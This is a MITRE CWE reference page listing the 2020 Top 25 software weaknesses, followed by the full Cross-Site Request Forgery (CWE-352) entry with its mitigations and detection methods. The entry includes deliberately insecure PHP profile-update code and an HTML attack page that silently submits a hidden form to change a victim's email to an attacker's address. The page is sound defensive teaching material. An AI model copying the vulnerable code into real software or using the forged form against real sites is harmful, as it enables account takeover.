CWE

Common Weakness Enumeration

A Community-Developed List of Software & Hardware Weakness Types

CWE Top 25 Most Dangerous Weaknesses
Home > CWE List > VIEW SLICE: CWE-1350: Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses (4.2)  
ID

CWE VIEW: Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses

View ID: 1350
Type: Graph
Status: Stable
Downloads: Booklet | CSV | XML
+ Objective
CWE entries in this view are listed in the 2020 CWE Top 25 Most Dangerous Software Weaknesses.
+ Audience
StakeholderDescription
Software DevelopersBy following the CWE Top 25, developers are able to significantly reduce the number of weaknesses that occur in their software.
Product CustomersCustomers can use the weaknesses in this view in order to formulate independent evidence of a claim by a product vendor to have elimiated / mitigated the most dangerous weaknesses.
EducatorsEducators can use this view to focus curriculum and teachings on the most dangerous weaknesses.
+ Relationships
The following graph shows the tree-like relationships between weaknesses that exist at different levels of abstraction. At the highest level, categories and pillars exist to group weaknesses. Categories (which are not technically weaknesses) are special CWE entries used to group weaknesses that share a common characteristic. Pillars are weaknesses that are described in the most abstract fashion. Below these top-level entries are weaknesses are varying levels of abstraction. Classes are still very abstract, typically independent of any specific language or technology. Base level weaknesses are used to present a more specific type of weakness. A variant is a weakness that is described at a very low level of detail, typically limited to a specific language or technology. A chain is a set of weaknesses that must be reachable consecutively in order to produce an exploitable vulnerability. While a composite is a set of weaknesses that must all be present simultaneously in order to produce an exploitable vulnerability.
Show Details:
1350 - Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') - (79)
1350 (Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses) > 79 (Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'))
The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.XSSHTML InjectionCSS
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Out-of-bounds Write - (787)
1350 (Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses) > 787 (Out-of-bounds Write)
The software writes data past the end, or before the beginning, of the intended buffer.Memory Corruption
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Improper Input Validation - (20)
1350 (Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses) > 20 (Improper Input Validation)
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Out-of-bounds Read - (125)
1350 (Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses) > 125 (Out-of-bounds Read)
The software reads data past the end, or before the beginning, of the intended buffer.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Improper Restriction of Operations within the Bounds of a Memory Buffer - (119)
1350 (Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses) > 119 (Improper Restriction of Operations within the Bounds of a Memory Buffer)
The software performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer.Buffer Overflowbuffer overrun
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') - (89)
1350 (Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses) > 89 (Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'))
The software constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Exposure of Sensitive Information to an Unauthorized Actor - (200)
1350 (Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses) > 200 (Exposure of Sensitive Information to an Unauthorized Actor)
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.Information DisclosureInformation Leak
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Use After Free - (416)
1350 (Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses) > 416 (Use After Free)
Referencing memory after it has been freed can cause a program to crash, use unexpected values, or execute code.Dangling pointerUse-After-Free
*CompositeComposite - a Compound Element that consists of two or more distinct weaknesses, in which all weaknesses must be present at the same time in order for a potential vulnerability to arise. Removing any of the weaknesses eliminates or sharply reduces the risk. One weakness, X, can be "broken down" into component weaknesses Y and Z. There can be cases in which one weakness might not be essential to a composite, but changes the nature of the composite when it becomes a vulnerability.Cross-Site Request Forgery (CSRF) - (352)
1350 (Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses) > 352 (Cross-Site Request Forgery (CSRF))
The web application does not, or can not, sufficiently verify whether a well-formed, valid, consistent request was intentionally provided by the user who submitted the request.Session RidingCross Site Reference ForgeryXSRF
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') - (78)
1350 (Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses) > 78 (Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'))
The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.Shell injectionShell metacharacters
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Integer Overflow or Wraparound - (190)
1350 (Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses) > 190 (Integer Overflow or Wraparound)
The software performs a calculation that can produce an integer overflow or wraparound, when the logic assumes that the resulting value will always be larger than the original value. This can introduce other weaknesses when the calculation is used for resource management or execution control.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') - (22)
1350 (Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses) > 22 (Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'))
The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.Directory traversalPath traversal
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.NULL Pointer Dereference - (476)
1350 (Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses) > 476 (NULL Pointer Dereference)
A NULL pointer dereference occurs when the application dereferences a pointer that it expects to be valid, but is NULL, typically causing a crash or exit.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Improper Authentication - (287)
1350 (Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses) > 287 (Improper Authentication)
When an actor claims to have a given identity, the software does not prove or insufficiently proves that the claim is correct.authentificationAuthC
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Unrestricted Upload of File with Dangerous Type - (434)
1350 (Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses) > 434 (Unrestricted Upload of File with Dangerous Type)
The software allows the attacker to upload or transfer files of dangerous types that can be automatically processed within the product's environment.Unrestricted File Upload
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Incorrect Permission Assignment for Critical Resource - (732)
1350 (Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses) > 732 (Incorrect Permission Assignment for Critical Resource)
The product specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Control of Generation of Code ('Code Injection') - (94)
1350 (Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses) > 94 (Improper Control of Generation of Code ('Code Injection'))
The software constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Insufficiently Protected Credentials - (522)
1350 (Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses) > 522 (Insufficiently Protected Credentials)
The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Restriction of XML External Entity Reference - (611)
1350 (Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses) > 611 (Improper Restriction of XML External Entity Reference)
The software processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output.XXE
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Use of Hard-coded Credentials - (798)
1350 (Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses) > 798 (Use of Hard-coded Credentials)
The software contains hard-coded credentials, such as a password or cryptographic key, which it uses for its own inbound authentication, outbound communication to external components, or encryption of internal data.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Deserialization of Untrusted Data - (502)
1350 (Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses) > 502 (Deserialization of Untrusted Data)
The application deserializes untrusted data without sufficiently verifying that the resulting data will be valid.Marshaling, UnmarshalingPickling, UnpicklingPHP Object Injection
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Improper Privilege Management - (269)
1350 (Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses) > 269 (Improper Privilege Management)
The software does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Uncontrolled Resource Consumption - (400)
1350 (Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses) > 400 (Uncontrolled Resource Consumption)
The software does not properly control the allocation and maintenance of a limited resource, thereby enabling an actor to influence the amount of resources consumed, eventually leading to the exhaustion of available resources.Resource Exhaustion
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Missing Authentication for Critical Function - (306)
1350 (Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses) > 306 (Missing Authentication for Critical Function)
The software does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Missing Authorization - (862)
1350 (Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses) > 862 (Missing Authorization)
The software does not perform an authorization check when an actor attempts to access a resource or perform an action.AuthZ
+ References
[REF-1132] "2020 CWE Top 25 Most Dangerous Software Weaknesses". 2020-08-20. <http://cwe.mitre.org/top25/archive/2020/2020_cwe_top25.html>.
+ View Metrics
CWEs in this viewTotal CWEs
Weaknesses25out of 891
Categories0out of 316
Views0out of 41
Total25out of1248
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2020-08-20CWE Content TeamMITRE

View Components

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CWE-352: Cross-Site Request Forgery (CSRF)

Weakness ID: 352
Abstraction: Compound
Structure: Composite
Status: Stable
Presentation Filter:
+ Description
The web application does not, or can not, sufficiently verify whether a well-formed, valid, consistent request was intentionally provided by the user who submitted the request.
+ Composite Components
NatureTypeIDName
RequiresBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.346Origin Validation Error
RequiresClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.441Unintended Proxy or Intermediary ('Confused Deputy')
RequiresClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.642External Control of Critical State Data
RequiresBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.613Insufficient Session Expiration
+ Extended Description
When a web server is designed to receive a request from a client without any mechanism for verifying that it was intentionally sent, then it might be possible for an attacker to trick a client into making an unintentional request to the web server which will be treated as an authentic request. This can be done via a URL, image load, XMLHttpRequest, etc. and can result in exposure of data or unintended code execution.
+ Alternate Terms
Session Riding
Cross Site Reference Forgery
XSRF
+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.345Insufficient Verification of Data Authenticity
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.79Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CanFollowVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.1275Sensitive Cookie with Improper SameSite Attribute
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.345Insufficient Verification of Data Authenticity
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
+ Modes Of Introduction

The different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.

PhaseNote
Architecture and DesignREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
The listings below show possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Language-Independent (Undetermined Prevalence)

Technologies

Web Server (Undetermined Prevalence)

+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Confidentiality
Integrity
Availability
Non-Repudiation
Access Control

Technical Impact: Gain Privileges or Assume Identity; Bypass Protection Mechanism; Read Application Data; Modify Application Data; DoS: Crash, Exit, or Restart

The consequences will vary depending on the nature of the functionality that is vulnerable to CSRF. An attacker could effectively perform any operations as the victim. If the victim is an administrator or privileged user, the consequences may include obtaining complete control over the web application - deleting or stealing data, uninstalling the product, or using it to launch other attacks against all of the product's users. Because the attacker has the identity of the victim, the scope of CSRF is limited only by the victim's privileges.
+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

This example PHP code attempts to secure the form submission process by validating that the user submitting the form has a valid session. A CSRF attack would not be prevented by this countermeasure because the attacker forges a request through the user's web browser in which a valid session already exists.

The following HTML is intended to allow a user to update a profile.

(bad code)
Example Language: HTML 
<form action="/url/profile.php" method="post">
<input type="text" name="firstname"/>
<input type="text" name="lastname"/>
<br/>
<input type="text" name="email"/>
<input type="submit" name="submit" value="Update"/>
</form>

profile.php contains the following code.

(bad code)
Example Language: PHP 
// initiate the session in order to validate sessions

session_start();

//if the session is registered to a valid user then allow update

if (! session_is_registered("username")) {

echo "invalid session detected!";

// Redirect user to login page
[...]

exit;
}

// The user session is valid, so process the request

// and update the information

update_profile();

function update_profile {

// read in the data from $POST and send an update

// to the database
SendUpdateToDatabase($_SESSION['username'], $_POST['email']);
[...]
echo "Your profile has been successfully updated.";
}

This code may look protected since it checks for a valid session. However, CSRF attacks can be staged from virtually any tag or HTML construct, including image tags, links, embed or object tags, or other attributes that load background images.

The attacker can then host code that will silently change the username and email address of any user that visits the page while remaining logged in to the target web application. The code might be an innocent-looking web page such as:

(attack code)
Example Language: HTML 
<SCRIPT>
function SendAttack () {
form.email = "attacker@example.com";
// send to profile.php
form.submit();
}
</SCRIPT>

<BODY onload="javascript:SendAttack();">

<form action="http://victim.example.com/profile.php" id="form" method="post">
<input type="hidden" name="firstname" value="Funny">
<input type="hidden" name="lastname" value="Joke">
<br/>
<input type="hidden" name="email">
</form>

Notice how the form contains hidden fields, so when it is loaded into the browser, the user will not notice it. Because SendAttack() is defined in the body's onload attribute, it will be automatically called when the victim loads the web page.

Assuming that the user is already logged in to victim.example.com, profile.php will see that a valid user session has been established, then update the email address to the attacker's own address. At this stage, the user's identity has been compromised, and messages sent through this profile could be sent to the attacker's address.

+ Observed Examples
ReferenceDescription
Add user accounts via a URL in an img tag
Add user accounts via a URL in an img tag
Arbitrary code execution by specifying the code in a crafted img tag or URL
Gain administrative privileges via a URL in an img tag
Delete a victim's information via a URL or an img tag
Change another user's settings via a URL or an img tag
Perform actions as administrator via a URL or an img tag
modify password for the administrator
CMS allows modification of configuration via CSRF attack against the administrator
web interface allows password changes or stopping a virtual machine via CSRF
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, use anti-CSRF packages such as the OWASP CSRFGuard. [REF-330]

Another example is the ESAPI Session Management control, which includes a component for CSRF. [REF-45]

Phase: Implementation

Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.

Phase: Architecture and Design

Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [REF-332]
Note: Note that this can be bypassed using XSS (CWE-79).

Phase: Architecture and Design

Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.
Note: Note that this can be bypassed using XSS (CWE-79).

Phase: Architecture and Design

Use the "double-submitted cookie" method as described by Felten and Zeller:

When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same.

Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult.

This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [REF-331]

Note: Note that this can probably be bypassed using XSS (CWE-79), or when using web technologies that enable the attacker to read raw headers from HTTP requests.

Phase: Architecture and Design

Do not use the GET method for any request that triggers a state change.

Phase: Implementation

Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.
Note: Note that this can be bypassed using XSS (CWE-79). An attacker could use XSS to generate a spoofed Referer, or to generate a malicious request from a page whose Referer would be allowed.
+ Detection Methods

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Specifically, manual analysis can be useful for finding this weakness, and for minimizing false positives assuming an understanding of business logic. However, it might not achieve desired code coverage within limited time constraints. For black-box analysis, if credentials are not known for privileged accounts, then the most security-critical portions of the application may not receive sufficient attention.

Consider using OWASP CSRFTester to identify potential issues and aid in manual analysis.

Effectiveness: High

Note: These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Automated Static Analysis

CSRF is currently difficult to detect reliably using automated techniques. This is because each application has its own implicit security policy that dictates which requests can be influenced by an outsider and automatically performed on behalf of a user, versus which requests require strong confidence that the user intends to make the request. For example, a keyword search of the public portion of a web site is typically expected to be encoded within a link that can be launched automatically when the user clicks on the link.

Effectiveness: Limited

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Web Application Scanner

Effectiveness: High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Fuzz Tester
  • Framework-based Fuzzer

Effectiveness: High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source
  • Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
  • Formal Methods / Correct-By-Construction

Effectiveness: SOAR Partial

+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).635Weaknesses Originally Used by NVD from 2008 to 2016
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.716OWASP Top Ten 2007 Category A5 - Cross Site Request Forgery (CSRF)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7512009 Top 25 - Insecure Interaction Between Components
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8012010 Top 25 - Insecure Interaction Between Components
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.814OWASP Top Ten 2010 Category A5 - Cross-Site Request Forgery(CSRF)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8642011 Top 25 - Insecure Interaction Between Components
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.936OWASP Top Ten 2013 Category A8 - Cross-Site Request Forgery (CSRF)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1200Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1350Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
+ Notes

Relationship

There can be a close relationship between XSS and CSRF (CWE-352). An attacker might use CSRF in order to trick the victim into submitting requests to the server in which the requests contain an XSS payload. A well-known example of this was the Samy worm on MySpace [REF-956]. The worm used XSS to insert malicious HTML sequences into a user's profile and add the attacker as a MySpace friend. MySpace friends of that victim would then execute the payload to modify their own profiles, causing the worm to propagate exponentially. Since the victims did not intentionally insert the malicious script themselves, CSRF was a root cause.

Theoretical

The CSRF topology is multi-channel:

  1. Attacker (as outsider) to intermediary (as user). The interaction point is either an external or internal channel.
  2. Intermediary (as user) to server (as victim). The activation point is an internal channel.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERCross-Site Request Forgery (CSRF)
OWASP Top Ten 2007A5ExactCross Site Request Forgery (CSRF)
WASC9Cross-site Request Forgery
+ References
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 2: Web-Server Related Vulnerabilities (XSS, XSRF, and Response Splitting)." Page 37. McGraw-Hill. 2010.
[REF-329] Peter W. "Cross-Site Request Forgeries (Re: The Dangers of Allowing Users to Post Images)". Bugtraq. <http://marc.info/?l=bugtraq&m=99263135911884&w=2>.
[REF-330] OWASP. "Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet". <http://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet>.
[REF-331] Edward W. Felten and William Zeller. "Cross-Site Request Forgeries: Exploitation and Prevention". 2008-10-18. <http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.147.1445>.
[REF-332] Robert Auger. "CSRF - The Cross-Site Request Forgery (CSRF/XSRF) FAQ". <http://www.cgisecurity.com/articles/csrf-faq.shtml>.
[REF-333] "Cross-site request forgery". Wikipedia. 2008-12-22. <http://en.wikipedia.org/wiki/Cross-site_request_forgery>.
[REF-334] Jason Lam. "Top 25 Series - Rank 4 - Cross Site Request Forgery". SANS Software Security Institute. 2010-03-03. <http://software-security.sans.org/blog/2010/03/03/top-25-series-rank-4-cross-site-request-forgery>.
[REF-335] Jeff Atwood. "Preventing CSRF and XSRF Attacks". 2008-10-14. <http://www.codinghorror.com/blog/2008/10/preventing-csrf-and-xsrf-attacks.html>.
[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
[REF-956] Wikipedia. "Samy (computer worm)". 2018-01-16. <https://en.wikipedia.org/wiki/Samy_(computer_worm)>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Alternate_Terms, Description, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings
2009-01-12CWE Content TeamMITRE
updated Applicable_Platforms, Description, Likelihood_of_Exploit, Observed_Examples, Other_Notes, Potential_Mitigations, References, Relationship_Notes, Relationships, Research_Gaps, Theoretical_Notes
2009-03-10CWE Content TeamMITRE
updated Potential_Mitigations
2009-05-20Tom Stracener
Added demonstrative example for profile.
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples, Related_Attack_Patterns
